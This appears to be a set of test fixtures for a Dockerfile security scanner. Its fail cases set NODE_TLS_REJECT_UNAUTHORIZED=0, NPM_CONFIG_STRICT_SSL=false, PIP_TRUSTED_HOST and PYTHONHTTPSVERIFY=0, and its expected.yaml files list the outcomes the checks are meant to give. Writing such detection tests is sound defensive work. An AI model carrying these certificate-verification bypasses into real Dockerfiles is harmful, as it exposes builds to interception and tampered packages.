    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.shell",
    "content": "FROM alpine:3.15\n\nRUN ABC=123 echo test; NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py ;DEF=456 echo lol;\nRUN ABC=123 echo test;NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py;DEF=456 echo lol;\nRUN ABC=123 echo test ;NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py; DEF=456 echo lol;\n\nRUN ABC=123 echo test&& NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py &&DEF=456 echo lol;\nRUN ABC=123 echo test&&NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py&&DEF=456 echo lol;\nRUN ABC=123 echo test &&NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py&& DEF=456 echo lol;\n\nRUN ABC=123 echo test|| NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py ||DEF=456 echo lol;\nRUN ABC=123 echo test||NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py||DEF=456 echo lol;\nRUN ABC=123 echo test ||NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py|| DEF=456 echo lol;\n\nRUN ABC=123 echo test| NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py |DEF=456 echo lol;\nRUN ABC=123 echo test|NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py|DEF=456 echo lol;\nRUN ABC=123 echo test |NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py| DEF=456 echo lol;\n\nRUN ABC=123      echo test;       NODE_TLS_REJECT_UNAUTHORIZED=0         python example.py ;     DEF=456          echo lol;\nRUN ABC=123      echo test ;       NODE_TLS_REJECT_UNAUTHORIZED=0         python example.py;     DEF=456          echo lol;\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.whitespace",
    "content": "FROM alpine:3.15\nRUN TEST_123=\"456\"        NODE_TLS_REJECT_UNAUTHORIZED=0  python example.py\nRUN TEST_123='456'        NODE_TLS_REJECT_UNAUTHORIZED=\"0\"  python example.py\nRUN TEST_123=456        NODE_TLS_REJECT_UNAUTHORIZED='0'  python example.py\n\nRUN TEST_123=\"456\"        NODE_TLS_REJECT_UNAUTHORIZED=0      TEST=\"lol\"    python example.py\nRUN TEST_123='456'        NODE_TLS_REJECT_UNAUTHORIZED=\"0\"    TEST=\"lol\"    python example.py\nRUN TEST_123=456          NODE_TLS_REJECT_UNAUTHORIZED='0'    TEST=\"lol\"    python example.py\n\nRUN NODE_TLS_REJECT_UNAUTHORIZED=0      TEST=\"lol\"    python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"0\"    TEST=\"lol\"    python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED='0'    TEST=\"lol\"    python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/pass/Dockerfile",
    "content": "FROM alpine:3.5\nENV NODE_TLS_REJECT_UNAUTHORIZED=1\nENV NODE_TLS_REJECT_UNAUTHORIZED 1\nENV NODE_TLS_REJECT_UNAUTHORIZED 666\nARG NODE_TLS_REJECT_UNAUTHORIZED=1\nARG NODE_TLS_REJECT_UNAUTHORIZED 1\nARG NODE_TLS_REJECT_UNAUTHORIZED 666\nENV LOL=666 ASDFNODE_TLS_REJECT_UNAUTHORIZED=0\nENV ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 LOL=666\nENV LOL=666 \\\n    ASDFNODE_TLS_REJECT_UNAUTHORIZED=0\nENV LOL=666 NODE_TLS_REJECT_UNAUTHORIZED=1\nENV NODE_TLS_REJECT_UNAUTHORIZED      1\nARG NODE_TLS_REJECT_UNAUTHORIZEDLOL=0\n\nRUN python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=1 python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"1\" python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED='1' python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED=\"0\\\"\" python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZED='0\\'' python example.py\nRUN LOL=123 \\\n    ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 python example.py\nRUN LOL=123 NODE_TLS_REJECT_UNAUTHORIZED=1 python example.py\nRUN NODE_TLS_REJECT_UNAUTHORIZEDLOL=0 python example.py\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.basic",
    "content": "FROM node:18\nENV NPM_CONFIG_STRICT_SSL false\nENV NPM_CONFIG_STRICT_SSL=false\nENV NPM_CONFIG_STRICT_SSL=\"false\"\nENV NPM_CONFIG_STRICT_SSL='false'\nARG NPM_CONFIG_STRICT_SSL=false\nARG NPM_CONFIG_STRICT_SSL=\"false\"\nARG NPM_CONFIG_STRICT_SSL='false'\nARG NPM_CONFIG_STRICT_SSL false\nENV LOL=555 NPM_CONFIG_STRICT_SSL=false\nENV NPM_CONFIG_STRICT_SSL=false LOL=555\nENV NPM_CONFIG_STRICT_SSL    false\nARG NPM_CONFIG_STRICT_SSL    false\nENV npm_config_strict_ssl false\nENV npm_config_strict_ssl=false\nENV npm_config_strict_ssl=\"false\"\nENV npm_config_strict_ssl='false'\nARG npm_config_strict_ssl=false\nARG npm_config_strict_ssl=\"false\"\nARG npm_config_strict_ssl='false'\nARG npm_config_strict_ssl false\nENV LOL=555 npm_config_strict_ssl=false\nENV npm_config_strict_ssl=false LOL=555\nENV npm_config_strict_ssl    false\nARG npm_config_strict_ssl    false\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.basic",
    "content": "FROM node:18\n\nRUN NPM_CONFIG_STRICT_SSL=false npm ci\nRUN NPM_CONFIG_STRICT_SSL=\"false\" npm ci\nRUN NPM_CONFIG_STRICT_SSL='false' npm ci\n\nRUN npm_config_strict_ssl=false npm ci\nRUN npm_config_strict_ssl=\"false\" npm ci\nRUN npm_config_strict_ssl='false' npm ci\n\nRUN NPM_CONFIG_STRICT_SSL=false TEST=\"lol\" npm ci\nRUN NPM_CONFIG_STRICT_SSL=\"false\" TEST='lol' npm ci\nRUN NPM_CONFIG_STRICT_SSL='false' TEST=lol npm ci\n\nRUN npm_config_strict_ssl=false TEST=\"lol\" npm ci\nRUN npm_config_strict_ssl=\"false\" TEST='lol' npm ci\nRUN npm_config_strict_ssl='false' TEST=lol npm ci\n\nRUN LOL=123 NPM_CONFIG_STRICT_SSL=false npm ci\nRUN LOL=\"123\" NPM_CONFIG_STRICT_SSL=\"false\" npm ci\nRUN LOL='123' NPM_CONFIG_STRICT_SSL='false' npm ci\n\nRUN LOL=123 npm_config_strict_ssl=false npm ci\nRUN LOL=\"123\" npm_config_strict_ssl=\"false\" npm ci\nRUN LOL='123' npm_config_strict_ssl='false' npm ci\n\nRUN TEST_123=\"456\" NPM_CONFIG_STRICT_SSL=false TEST=\"lol\" npm ci\nRUN TEST_123='456' NPM_CONFIG_STRICT_SSL=\"false\" TEST='lol' npm ci\nRUN TEST_123=456 NPM_CONFIG_STRICT_SSL='false' TEST=\"lol\" npm ci\n\nRUN TEST_123=\"456\" npm_config_strict_ssl=false TEST=\"lol\" npm ci\nRUN TEST_123='456' npm_config_strict_ssl=\"false\" TEST='lol' npm ci\nRUN TEST_123=456 npm_config_strict_ssl='false' TEST=\"lol\" npm ci\n\nRUN TEST_123=\"456\" \\\n    NPM_CONFIG_STRICT_SSL=false \\\n    TEST=\"lol\" \\\n    npm ci\nRUN TEST_123='456' \\\n    NPM_CONFIG_STRICT_SSL=\"false\" \\\n    TEST='lol'\\\n     npm ci\nRUN \\\n     TEST_123=456\\\n     NPM_CONFIG_STRICT_SSL='false' \\\n     TEST=\"lol\" \\\n     npm ci\n\nRUN TEST_123=\"456\" \\\n    npm_config_strict_ssl=false \\\n    TEST=\"lol\" \\\n    npm ci\nRUN TEST_123='456' \\\n    npm_config_strict_ssl=\"false\" \\\n    TEST='lol'\\\n     npm ci\nRUN \\\n     TEST_123=456\\\n     npm_config_strict_ssl='false' \\\n     TEST=\"lol\" \\\n     npm ci\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.quotes",
    "content": "FROM node:18\n\nRUN NPM_CONFIG_STRICT_SSL=false TEST=\"lol\\\"\" npm ci\nRUN NPM_CONFIG_STRICT_SSL=\"false\" TEST='lol\\'' npm ci\n\nRUN LOL=\"123\\\"\" npm_config_strict_ssl=\"false\" npm ci\nRUN LOL='123\\'' npm_config_strict_ssl='false' npm ci\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.shell",
    "content": "FROM node:18\n\nRUN ABC=123 echo test; NPM_CONFIG_STRICT_SSL=false npm ci ;DEF=456 echo lol;\nRUN ABC=123 echo test;NPM_CONFIG_STRICT_SSL=false npm ci;DEF=456 echo lol;\nRUN ABC=123 echo test ;NPM_CONFIG_STRICT_SSL=false npm ci; DEF=456 echo lol;\n\nRUN ABC=123 echo test&& npm_config_strict_ssl=false npm ci &&DEF=456 echo lol;\nRUN ABC=123 echo test&&npm_config_strict_ssl=false npm ci&&DEF=456 echo lol;\nRUN ABC=123 echo test &&npm_config_strict_ssl=false npm ci&& DEF=456 echo lol;\n\nRUN ABC=123 echo test|| NPM_CONFIG_STRICT_SSL=false npm ci ||DEF=456 echo lol;\nRUN ABC=123 echo test||NPM_CONFIG_STRICT_SSL=false npm ci||DEF=456 echo lol;\nRUN ABC=123 echo test ||NPM_CONFIG_STRICT_SSL=false npm ci|| DEF=456 echo lol;\n\nRUN ABC=123 echo test| npm_config_strict_ssl=false npm ci |DEF=456 echo lol;\nRUN ABC=123 echo test|npm_config_strict_ssl=false npm ci|DEF=456 echo lol;\nRUN ABC=123 echo test |npm_config_strict_ssl=false npm ci| DEF=456 echo lol;\n\nRUN ABC=123      echo test;       NPM_CONFIG_STRICT_SSL=false         npm ci ;     DEF=456          echo lol;\nRUN ABC=123      echo test ;       NPM_CONFIG_STRICT_SSL=false         npm ci;     DEF=456          echo lol;\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.whitespace",
    "content": "FROM node:18s\nRUN TEST_123=\"456\"        NPM_CONFIG_STRICT_SSL=false  npm install\nRUN TEST_123='456'        NPM_CONFIG_STRICT_SSL=\"false\"  npm install\nRUN TEST_123=456        NPM_CONFIG_STRICT_SSL='false'  npm install\n\nRUN TEST_123=\"456\"        npm_config_strict_ssl=false      TEST=\"lol\"    npm install\nRUN TEST_123='456'        npm_config_strict_ssl=\"false\"    TEST=\"lol\"    npm install\nRUN TEST_123=456          npm_config_strict_ssl='false'    TEST=\"lol\"    npm install\n\nRUN NPM_CONFIG_STRICT_SSL=false      TEST=\"lol\"    npm install\nRUN NPM_CONFIG_STRICT_SSL=\"false\"    TEST=\"lol\"    npm install\nRUN NPM_CONFIG_STRICT_SSL='false'    TEST=\"lol\"    npm install\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/pass/Dockerfile",
    "content": "FROM node:18\nENV NPM_CONFIG_STRICT_SSL=true\nENV NPM_CONFIG_STRICT_SSL true\nENV NPM_CONFIG_STRICT_SSL Nyota_Uhura\nARG NPM_CONFIG_STRICT_SSL=true\nARG NPM_CONFIG_STRICT_SSL true\nARG NPM_CONFIG_STRICT_SSL James_Tiberius_Kirk\nENV LOL=123 ASDFNPM_CONFIG_STRICT_SSL=false\nENV ASDFNPM_CONFIG_STRICT_SSL=false LOL=321\nENV LOL=123 \\\n    ASDFNPM_CONFIG_STRICT_SSL=\"false\"\nENV LOL=321 NPM_CONFIG_STRICT_SSL=true\nENV NPM_CONFIG_STRICT_SSL      \"true\"\nARG NPM_CONFIG_STRICT_SSLLOL=false\n\nENV npm_config_strict_ssl=true\nENV npm_config_strict_ssl true\nENV npm_config_strict_ssl Nyota_Uhura\nARG npm_config_strict_ssl=true\nARG npm_config_strict_ssl true\nARG npm_config_strict_ssl James_Tiberius_Kirk\nENV LOL=123 asdfnpm_config_strict_ssl=false\nENV asdfnpm_config_strict_ssl=false LOL=321\nENV LOL=123 \\\n    asdfnpm_config_strict_ssl=\"false\"\nENV LOL=321 npm_config_strict_ssl=true\nENV npm_config_strict_ssl      \"true\"\nARG npm_config_strict_ssllol=false\n\nRUN npm install\nRUN NPM_CONFIG_STRICT_SSL=true npm install\nRUN NPM_CONFIG_STRICT_SSL=\"true\" npm install\nRUN NPM_CONFIG_STRICT_SSL='true' npm install\nRUN NPM_CONFIG_STRICT_SSL=\"false\\\"\" npm install\nRUN NPM_CONFIG_STRICT_SSL='false\\'' npm install\nRUN LOL=Spok \\\n    ASDFNPM_CONFIG_STRICT_SSL=\"false\" npm install\nRUN LOL=123 NPM_CONFIG_STRICT_SSL=true npm install\nRUN NPM_CONFIG_STRICT_SSLLOL=false npm install\n\nRUN npm_config_strict_ssl=true npm install\nRUN npm_config_strict_ssl=\"true\" npm install\nRUN npm_config_strict_ssl='true' npm install\nRUN npm_config_strict_ssl=\"false\\\"\" npm install\nRUN npm_config_strict_ssl='false\\'' npm install\nRUN LOL=Spok \\\n    asdfnpm_config_strict_ssl=\"false\" npm install\nRUN LOL=123 npm_config_strict_ssl=true npm install\nRUN npm_config_strict_ssllol=false npm install\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ARG'\n  - 'fail/Dockerfile.envvars.ARG'\n  - 'fail/Dockerfile.envvars.ARG'\n  - 'fail/Dockerfile.envvars.ARG'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ENV'\n  - 'fail/Dockerfile.envvars.ARG'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\n  - 'fail/Dockerfile.run.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/fail/Dockerfile.envvars",
    "content": "FROM python:3\nENV PIP_TRUSTED_HOST pypi.python.org\nENV PIP_TRUSTED_HOST=pypi.python.org\nENV PIP_TRUSTED_HOST=\"pypi.python.org\"\nENV PIP_TRUSTED_HOST='pypi.python.org'\nARG PIP_TRUSTED_HOST=pypi.python.org\nARG PIP_TRUSTED_HOST=\"pypi.python.org\"\nARG PIP_TRUSTED_HOST='pypi.python.org'\nARG PIP_TRUSTED_HOST pypi.python.org\nENV LOL=123 PIP_TRUSTED_HOST=pypi.python.org\nENV PIP_TRUSTED_HOST=pypi.python.org LOL=123\nENV PIP_TRUSTED_HOST    pypi.python.org\nARG PIP_TRUSTED_HOST    pypi.python.org\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/fail/Dockerfile.run",
    "content": "FROM python:3\nRUN export PIP_TRUSTED_HOST=pypi.python.org && pip install checkov\nRUN export PIP_TRUSTED_HOST=\"pypi.python.org\" && pip install checkov\nRUN export PIP_TRUSTED_HOST='pypi.python.org' && pip install checkov\n\nRUN PIP_TRUSTED_HOST=pypi.python.org pip install checkov\nRUN PIP_TRUSTED_HOST=\"pypi.python.org\" pip install checkov\nRUN PIP_TRUSTED_HOST='pypi.python.org' pip install checkov\n\nRUN PIP_TRUSTED_HOST=pypi.python.org CHECKOV=AWESOME pip install checkov\nRUN PIP_TRUSTED_HOST=\"pypi.python.org\" CHECKOV=\"AWESOME\" pip install checkov\nRUN PIP_TRUSTED_HOST='pypi.python.org' CHECKOV='AWESOME' pip install checkov\n\nRUN CHECKOV=AWESOME PIP_TRUSTED_HOST=pypi.python.org pip install checkov\nRUN CHECKOV=\"AWESOME\" PIP_TRUSTED_HOST=\"pypi.python.org\" pip install checkov\nRUN CHECKOV='AWESOME' PIP_TRUSTED_HOST='pypi.python.org' pip install checkov\n\nRUN TEST_123=\"456\" PIP_TRUSTED_HOST=pypi.python.org geordi=\"la forge\" pip install checkov\nRUN TEST_123='456' PIP_TRUSTED_HOST=\"pypi.python.org\" geordi='la forge' pip install checkov\nRUN TEST_123=456 PIP_TRUSTED_HOST='pypi.python.org' geordi=\"la forge\" pip install checkov\n\nRUN TEST_123=\"456\" \\\n    PIP_TRUSTED_HOST=pypi.python.org \\\n    EXAMPLE=\"VAR\" \\\n    pip install checkov\nRUN TEST_123='456' \\\n    PIP_TRUSTED_HOST=\"pypi.python.org\" \\\n    EXAMPLE='VAR' \\\n    pip install checkov\nRUN \\\n    TEST_123=456\\\n    PIP_TRUSTED_HOST='pypi.python.org' \\\n    EXAMPLE=\"VAR\" \\\n    pip install checkov\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/pass/Dockerfile",
    "content": "FROM python:3\nRUN pip3 install checkov\nRUN PIP_TRUSTED_HOSTASDF=test pip install checkov\nRUN ASDFPIP_TRUSTED_HOST=test pip install checkov\nRUN echo PIP_TRUSTED_HOST | pip install checkov &&\\\n    echo \"PIP_TRUSTED_HOST\"\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/expected.yaml",
    "content": "pass:\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ENV'\n  - 'pass/Dockerfile.ARG'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\n  - 'pass/Dockerfile.RUN'\nfail:\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ENV'\n  - 'fail/Dockerfile.basic.ARG'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.basic.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.whitespace.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.shell.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\n  - 'fail/Dockerfile.run.quotes.RUN'\nevaluated_keys:\n  - 'value'\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.basic",
    "content": "FROM alpine:3.5\nENV PYTHONHTTPSVERIFY 0\nENV PYTHONHTTPSVERIFY=0\nENV PYTHONHTTPSVERIFY=\"0\"\nENV PYTHONHTTPSVERIFY='0'\nARG PYTHONHTTPSVERIFY=0\nARG PYTHONHTTPSVERIFY=\"0\"\nARG PYTHONHTTPSVERIFY='0'\nARG PYTHONHTTPSVERIFY 0\nENV LOL=666 PYTHONHTTPSVERIFY=0\nENV PYTHONHTTPSVERIFY=0 LOL=666\nENV PYTHONHTTPSVERIFY    0\nARG PYTHONHTTPSVERIFY    0\n"
  },
  {
    "path": "tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.basic",
    "content": "FROM alpine:3.15\n\nRUN PYTHONHTTPSVERIFY=0 python example.py\nRUN PYTHONHTTPSVERIFY=\"0\" python example.py\nRUN PYTHONHTTPSVERIFY='0' python example.py\n\nRUN PYTHONHTTPSVERIFY=0 TEST=\"lol\" python example.py\nRUN PYTHONHTTPSVERIFY=\"0\" TEST='lol' python example.py\nRUN PYTHONHTTPSVERIFY='0' TEST=lol python example.py\n\nRUN LOL=123 PYTHONHTTPSVERIFY=0 python example.py\nRUN LOL=\"123\" PYTHONHTTPSVERIFY=\"0\" python example.py\nRUN LOL='123' PYTHONHTTPSVERIFY='0' python example.py\n\nRUN TEST_123=\"456\" PYTHONHTTPSVERIFY=0 TEST=\"lol\" python example.py\nRUN TEST_123='456' PYTHONHTTPSVERIFY=\"0\" TEST='lol' python example.py\nRUN TEST_123=456 PYTHONHTTPSVERIFY='0' TEST=\"lol\" python example.py\n\nRUN TEST_123=\"456\" \\\n    PYTHONHTTPSVERIFY=0 \\\n    TEST=\"lol\" \\\n    python example.py\nRUN TEST_123='456' 